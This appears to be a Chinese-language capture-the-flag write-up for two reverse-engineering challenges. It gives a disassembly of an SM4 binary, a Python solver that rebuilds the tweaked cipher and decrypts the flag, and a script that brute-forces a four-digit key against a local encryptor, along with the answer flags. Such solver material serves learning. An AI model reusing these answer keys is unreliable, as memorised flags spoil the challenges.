0000000000401BDB | 4C:894D 28 | mov qword ptr ss:[rbp+28],r9 |
0000000000401BDF | 48:8B55 20 | mov rdx,qword ptr ss:[rbp+20] |
0000000000401BE3 | 48:8D85 60FFFFFF | lea rax,qword ptr ss:[rbp-A0] | [rbp-A0]:RtlAllocateHeap+AAD
0000000000401BEA | 48:89C1 | mov rcx,rax |
0000000000401BED | E8 49FBFFFF | call c_sm4.40173B |
0000000000401BF2 | 48:C745 E0 00000000 | mov qword ptr ss:[rbp-20],0 |
0000000000401BFA | 48:8D55 E0 | lea rdx,qword ptr ss:[rbp-20] |
0000000000401BFE | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401C02 | 49:89D0 | mov r8,rdx |
0000000000401C05 | 48:89C2 | mov rdx,rax |
0000000000401C08 | 48:8B4D 10 | mov rcx,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401C0C | E8 46FEFFFF | call c_sm4.401A57 |
0000000000401C11 | 48:8945 F0 | mov qword ptr ss:[rbp-10],rax |
0000000000401C15 | 48:837D F0 00 | cmp qword ptr ss:[rbp-10],0 |
0000000000401C1A | 75 0A | jne c_sm4.401C26 |
0000000000401C1C | B8 00000000 | mov eax,0 |
0000000000401C21 | E9 87000000 | jmp c_sm4.401CAD |
0000000000401C26 | 48:8B45 E0 | mov rax,qword ptr ss:[rbp-20] |
0000000000401C2A | 48:89C1 | mov rcx,rax |
0000000000401C2D | E8 EE170000 | call <JMP.&malloc> |
0000000000401C32 | 48:8945 E8 | mov qword ptr ss:[rbp-18],rax |
0000000000401C36 | 48:837D E8 00 | cmp qword ptr ss:[rbp-18],0 |
0000000000401C3B | 75 13 | jne c_sm4.401C50 |
0000000000401C3D | 48:8B45 F0 | mov rax,qword ptr ss:[rbp-10] |
0000000000401C41 | 48:89C1 | mov rcx,rax |
0000000000401C44 | E8 1F180000 | call <JMP.&free> |
0000000000401C49 | B8 00000000 | mov eax,0 |
0000000000401C4E | EB 5D | jmp c_sm4.401CAD |
0000000000401C50 | 48:C745 F8 00000000 | mov qword ptr ss:[rbp-8],0 |
0000000000401C58 | EB 2E | jmp c_sm4.401C88 |
0000000000401C5A | 48:8B55 E8 | mov rdx,qword ptr ss:[rbp-18] |
0000000000401C5E | 48:8B45 F8 | mov rax,qword ptr ss:[rbp-8] |
0000000000401C62 | 48:8D0C02 | lea rcx,qword ptr ds:[rdx+rax] |
0000000000401C66 | 48:8B55 F0 | mov rdx,qword ptr ss:[rbp-10] |
0000000000401C6A | 48:8B45 F8 | mov rax,qword ptr ss:[rbp-8] |
0000000000401C6E | 48:01C2 | add rdx,rax |
0000000000401C71 | 48:8D85 60FFFFFF | lea rax,qword ptr ss:[rbp-A0] | [rbp-A0]:RtlAllocateHeap+AAD
0000000000401C78 | 49:89C8 | mov r8,rcx |
0000000000401C7B | 48:89C1 | mov rcx,rax |
0000000000401C7E | E8 8DFCFFFF | call c_sm4.401910 |
0000000000401C83 | 48:8345 F8 10 | add qword ptr ss:[rbp-8],10 |
0000000000401C88 | 48:8B45 E0 | mov rax,qword ptr ss:[rbp-20] |
0000000000401C8C | 48:3945 F8 | cmp qword ptr ss:[rbp-8],rax |
0000000000401C90 | 72 C8 | jb c_sm4.401C5A |
0000000000401C92 | 48:8B45 F0 | mov rax,qword ptr ss:[rbp-10] |
0000000000401C96 | 48:89C1 | mov rcx,rax |
0000000000401C99 | E8 CA170000 | call <JMP.&free> |
0000000000401C9E | 48:8B55 E0 | mov rdx,qword ptr ss:[rbp-20] |
0000000000401CA2 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
0000000000401CA6 | 48:8910 | mov qword ptr ds:[rax],rdx |
0000000000401CA9 | 48:8B45 E8 | mov rax,qword ptr ss:[rbp-18] |
0000000000401CAD | 48:81C4 C0000000 | add rsp,C0 |
0000000000401CB4 | 5D | pop rbp |
0000000000401CB5 | C3 | ret |
0000000000401CB6 | 55 | push rbp |
0000000000401CB7 | 48:89E5 | mov rbp,rsp |
0000000000401CBA | 48:83EC 30 | sub rsp,30 |
0000000000401CBE | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
0000000000401CC2 | 48:8955 18 | mov qword ptr ss:[rbp+18],rdx |
0000000000401CC6 | 48:C745 F8 00000000 | mov qword ptr ss:[rbp-8],0 |
0000000000401CCE | EB 24 | jmp c_sm4.401CF4 |
0000000000401CD0 | 48:8B55 10 | mov rdx,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401CD4 | 48:8B45 F8 | mov rax,qword ptr ss:[rbp-8] |
0000000000401CD8 | 48:01D0 | add rax,rdx |
0000000000401CDB | 0FB600 | movzx eax,byte ptr ds:[rax] |
0000000000401CDE | 0FB6C0 | movzx eax,al |
0000000000401CE1 | 89C2 | mov edx,eax |
0000000000401CE3 | 48:8D0D 16330000 | lea rcx,qword ptr ds:[405000] | 0000000000405000:"%02x"
0000000000401CEA | E8 81170000 | call <JMP.&printf> |
0000000000401CEF | 48:8345 F8 01 | add qword ptr ss:[rbp-8],1 |
0000000000401CF4 | 48:8B45 F8 | mov rax,qword ptr ss:[rbp-8] |
0000000000401CF8 | 48:3B45 18 | cmp rax,qword ptr ss:[rbp+18] |
0000000000401CFC | 72 D2 | jb c_sm4.401CD0 |
0000000000401CFE | B9 0A000000 | mov ecx,A | 0A:'n'
0000000000401D03 | E8 70170000 | call <JMP.&putchar> |
0000000000401D08 | 90 | nop |
0000000000401D09 | 48:83C4 30 | add rsp,30 |
0000000000401D0D | 5D | pop rbp |
0000000000401D0E | C3 | ret |
0000000000401D0F | 55 | push rbp |
0000000000401D10 | B8 50100000 | mov eax,1050 |
0000000000401D15 | E8 86160000 | call c_sm4.4033A0 |
0000000000401D1A | 48:29C4 | sub rsp,rax |
0000000000401D1D | 48:8DAC24 80000000 | lea rbp,qword ptr ss:[rsp+80] | [rsp+80]:_read+3DA
0000000000401D25 | E8 160D0000 | call c_sm4.402A40 |
0000000000401D2A | C685 B00F0000 01 | mov byte ptr ss:[rbp+FB0],1 |
0000000000401D31 | C685 B10F0000 23 | mov byte ptr ss:[rbp+FB1],23 | 23:'#'
0000000000401D38 | C685 B20F0000 45 | mov byte ptr ss:[rbp+FB2],45 | 45:'E'
0000000000401D3F | C685 B30F0000 67 | mov byte ptr ss:[rbp+FB3],67 | 67:'g'
0000000000401D46 | C685 B40F0000 89 | mov byte ptr ss:[rbp+FB4],89 |
0000000000401D4D | C685 B50F0000 AB | mov byte ptr ss:[rbp+FB5],AB |
0000000000401D54 | C685 B60F0000 CD | mov byte ptr ss:[rbp+FB6],CD |
0000000000401D5B | C685 B70F0000 EF | mov byte ptr ss:[rbp+FB7],EF |
0000000000401D62 | C685 B80F0000 FE | mov byte ptr ss:[rbp+FB8],FE |
0000000000401D69 | C685 B90F0000 DC | mov byte ptr ss:[rbp+FB9],DC |
0000000000401D70 | C685 BA0F0000 BA | mov byte ptr ss:[rbp+FBA],BA |
0000000000401D77 | C685 BB0F0000 98 | mov byte ptr ss:[rbp+FBB],98 |
0000000000401D7E | C685 BC0F0000 76 | mov byte ptr ss:[rbp+FBC],76 | 76:'v'
0000000000401D85 | C685 BD0F0000 54 | mov byte ptr ss:[rbp+FBD],54 | 54:'T'
0000000000401D8C | C685 BE0F0000 32 | mov byte ptr ss:[rbp+FBE],32 | 32:'2'
0000000000401D93 | C685 BF0F0000 10 | mov byte ptr ss:[rbp+FBF],10 |
0000000000401D9A | 48:8D0D 67320000 | lea rcx,qword ptr ds:[405008] | 0000000000405008:"Enter a string to encrypt and decrypt: "
exp.py
SBOX = [
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,
0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,
0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48
]
#这是标准的SM4 S盒桌。在集会中,它被引用在地址0x405080
FK = [0xa3b1bac6 + 1, 0x56aa3350 + 2, 0x677d9197 + 3, 0xb27022dc + 4]
#FK 来自以下地址的汇编代码:
#0x40179B: mov edx,A3B1BAC6 然后 add edx,1
#0x4017AE: mov edx,56AA3350 然后 add edx,2
#0x4017C1: mov edx,677D9197 然后 add edx,3
#0x4017D4: mov edx,B27022DC 然后 add edx,4
CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
#这些是标准 SM4 CK 常量。在汇编中 0x4051C0
def rotl(x, n):
return ((x << n) & 0xffffffff) | ((x >> (32 - n)) & 0xffffffff)
#这实现了旋转操作。在汇编中,位于地址 0x401542 的 rol 指令
def get_uint32_be(data, offset=0):
return (data[offset] << 24) | (data[offset+1] << 16) | (data[offset+2] << 8) | data[offset+3]
#这将字节转换为 32 位整数(大端序)。在汇编中,这对应于地址 0x401548 的函数
def put_uint32_be(n):
return bytes([(n >> 24) & 0xff, (n >> 16) & 0xff, (n >> 8) & 0xff, n & 0xff])
#这将 32 位整数转换为字节(大端序)。在汇编中,这对应于地址 0x401597 的函数
def sm4_sbox(inch):
outch = [0] * 4
outch[0] = SBOX[inch[0]]
outch[1] = SBOX[inch[1]]
outch[2] = SBOX[inch[2]]
outch[3] = SBOX[inch[3]]
return (outch[0] << 24) | (outch[1] << 16) | (outch[2] << 8) | outch[3]
#这实现了 S 盒替代。在汇编中,这在 0x4015DF 处。
def sm4_lt(ka):
bb = ka ^ rotl(ka, 2) ^ rotl(ka, 10) ^ rotl(ka, 18) ^ rotl(ka, 24)
return bb
#这实现了线性变换 L。在汇编中,这在 0x40166B 处。
def sm4_f(x0, x1, x2, x3, rk):
temp = x1 ^ x2 ^ x3 ^ rk
inch = [(temp >> 24) & 0xff, (temp >> 16) & 0xff, (temp >> 8) & 0xff, temp & 0xff]
bb = sm4_sbox(inch)
return x0 ^ sm4_lt(bb)
#这实现了轮函数 F。在汇编中,主要的加密逻辑从 0x40173B 开始。
def sm4_setkey(key, mode):
MK = [get_uint32_be(key, i*4) for i in range(4)]
K = [MK[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(32):
temp = K[1] ^ K[2] ^ K[3] ^ CK[i]
inch = [(temp >> 24) & 0xff, (temp >> 16) & 0xff, (temp >> 8) & 0xff, temp & 0xff]
bb = sm4_sbox(inch)
rk_i = K[0] ^ (bb ^ rotl(bb, 13) ^ rotl(bb, 23))
K = K[1:] + [rk_i]
rk.append(rk_i)
if mode == 0:
rk = rk[::-1]
return rk
#这实现了密钥扩展。在汇编中,密钥扩展逻辑在从 0x40173B 开始的加密函数中。
def sm4_crypt_ecb(mode, key, data):
rk = sm4_setkey(key, mode)
output = b''
for i in range(0, len(data), 16):
block = data[i:i+16]
if len(block) < 16:
break
X = [get_uint32_be(block, j*4) for j in range(4)]
for r in range(32):
X = X[1:] + [sm4_f(X[0], X[1], X[2], X[3], rk[r])]
output += put_uint32_be(X[3])
output += put_uint32_be(X[2])
output += put_uint32_be(X[1])
output += put_uint32_be(X[0])
return output
#这实现了 ECB 模式的加密/解密。在汇编中:
#加密:函数在 0x40173B
#解密:函数在 0x401910
KEY = bytes([
0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10
])
#密钥来源于汇编地址 0x401D2A 到 0x401D93。
ENCRYPTED_FLAG = "e35d1c09d861670051587475dba013bfe253923f8571add70f63a674dbeb8f22"
print(f"nKey: {KEY.hex()}")
print(f"Ciphertext: {ENCRYPTED_FLAG}")
ciphertext = bytes.fromhex(ENCRYPTED_FLAG)
plaintext = sm4_crypt_ecb(0, KEY, ciphertext)
print(f"nDecrypted (hex): {plaintext.hex()}")
print(f"Decrypted (raw): {plaintext}")
try:
pad_len = plaintext[-1]
if 0 < pad_len <= 16:
valid_padding = all(plaintext[-i] == pad_len for i in range(1, pad_len + 1))
if valid_padding:
unpadded = plaintext[:-pad_len]
flag = unpadded.decode('utf-8')
#填充逻辑在汇编中:
#填充添加:函数在 0x401A57
#填充验证/移除:函数在 0x401B06
else:
flag = plaintext.decode('utf-8', errors='ignore')
else:
flag = plaintext.decode('utf-8', errors='ignore')
except:
flag = plaintext.decode('utf-8', errors='ignore')
print(f"FLAG: {flag}")

unictf{sm4ezze44ms}
R_png

我们可以看enc.elf 需要填4个数字所以我们只需要暴力破解数字

exp.py
import subprocess
import os
import sys
if os.path.exists("flagpngenc.rc4"):
os.remove("flagpngenc.rc4")
for key in range(10000):
key_str = f"{key:04d}"
print(f"rTrying key: {key_str}", end="", flush=True)
result = subprocess.run(
["./enc.elf", "flagpngenc", key_str],
capture_output=True,
text=True
)
if os.path.exists("flagpngenc.rc4"):
with open("flagpngenc.rc4", "rb") as f:
header = f.read(8)
if header == b'x89PNGrnx1an':
print(f"nnSUCCESS! Found key: {key_str}")
print(f"Valid PNG file created: flagpngenc.rc4")
os.rename("flagpngenc.rc4", f"decrypted_{key_str}.png")
print(f"Renamed to: decrypted_{key_str}.png")
sys.exit(0)
os.remove("flagpngenc.rc4")
print("nnNo valid key found (0000-9999)")


unictf{325799799302}
总结
题目非常有难度,挺难的,说实话,拜拜,蟹蟹观看









看好主播的WP